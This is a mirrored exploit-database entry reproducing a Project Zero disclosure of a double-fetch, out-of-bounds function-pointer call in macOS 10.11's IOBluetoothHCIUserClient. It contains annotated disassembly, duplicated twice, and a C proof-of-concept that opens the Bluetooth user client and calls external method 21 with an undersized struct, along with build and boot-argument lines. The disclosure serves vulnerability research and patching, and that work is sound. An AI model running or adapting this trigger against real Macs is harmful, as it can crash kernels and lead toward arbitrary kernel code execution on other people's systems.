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# MacOS X 10.11 IOBluetoothHCIUserClient Arbitrary Kernel Code Execution Vulnerability

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/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=569

IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:

__text:00000000000118EB mov esi, [rbx+70h] <-- rbx is structInput, size never checked so +0x70 can be OOB
__text:00000000000118EE test esi, esi
__text:00000000000118F0 mov r13d, 0E00002C7h
__text:00000000000118F6 js loc_11C5B <-- fail if negative
__text:00000000000118FC lea rdx, _sRoutineCount
__text:0000000000011903 cmp esi, [rdx]
__text:0000000000011905 jge loc_11C5B <-- fail if >= number of routines

This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:

__text:0000000000011995 movsxd rax, dword ptr [rbx+70h] <-- fetch OOB again
__text:0000000000011999 mov rcx, rax
__text:000000000001199C shl rcx, 4
__text:00000000000119A0 lea rdx, _sRoutines
__text:00000000000119A7 mov r14d, [rdx+rcx+8]
__text:00000000000119AC cmp r14d, 7
__text:00000000000119B0 mov r13d, 0E00002C2h
__text:00000000000119B6 ja loc_11C5B <-- test that sRoutines[OOB].nParams is <= 7
__text:00000000000119BC mov rcx, [rdx+rcx]
__text:00000000000119C0 mov [rbp+var_40], rcx <-- save sRoutines[OOB].fptr into var_40

the code then sets the required registers/stack entries for the number of parameters and calls var_40:

__text:0000000000011B77 mov rdi, r15
__text:0000000000011B7A call [rbp+var_40]

Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.

Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2

Strongly recommended to use the gazalloc boot args as shown above to repro this!
*/

// ianbeer
// build: clang -o bluehci_oob_demux bluehci_oob_demux.c -framework IOKit
// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300

/*
Lack of bounds checking in IOBluetoothHCIUserClient external method dispatching allows arbitrary kernel code execution

IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:

__text:00000000000118EB mov esi, [rbx+70h] <-- rbx is structInput, size never checked so +0x70 can be OOB
__text:00000000000118EE test esi, esi
__text:00000000000118F0 mov r13d, 0E00002C7h
__text:00000000000118F6 js loc_11C5B <-- fail if negative
__text:00000000000118FC lea rdx, _sRoutineCount
__text:0000000000011903 cmp esi, [rdx]
__text:0000000000011905 jge loc_11C5B <-- fail if >= number of routines

This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:

__text:0000000000011995 movsxd rax, dword ptr [rbx+70h] <-- fetch OOB again
__text:0000000000011999 mov rcx, rax
__text:000000000001199C shl rcx, 4
__text:00000000000119A0 lea rdx, _sRoutines
__text:00000000000119A7 mov r14d, [rdx+rcx+8]
__text:00000000000119AC cmp r14d, 7
__text:00000000000119B0 mov r13d, 0E00002C2h
__text:00000000000119B6 ja loc_11C5B <-- test that sRoutines[OOB].nParams is <= 7
__text:00000000000119BC mov rcx, [rdx+rcx]
__text:00000000000119C0 mov [rbp+var_40], rcx <-- save sRoutines[OOB].fptr into var_40

the code then sets the required registers/stack entries for the number of parameters and calls var_40:

__text:0000000000011B77 mov rdi, r15
__text:0000000000011B7A call [rbp+var_40]

Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.

Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2

Strongly recommended to use the gazalloc boot args as shown above to repro this!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
kern_return_t err;

io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));

if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}

io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}

uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;

char inputStruct[4096];
size_t inputStructCnt = 1;
memset(inputStruct, 'A', inputStructCnt);

uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;

char outputStruct[4096];
size_t outputStructCnt = 0;

err = IOConnectCallMethod(
conn,
21,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);

return 0;
}

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# Iranian Exploit DataBase = http://IeDb.Ir [2016-02-02]

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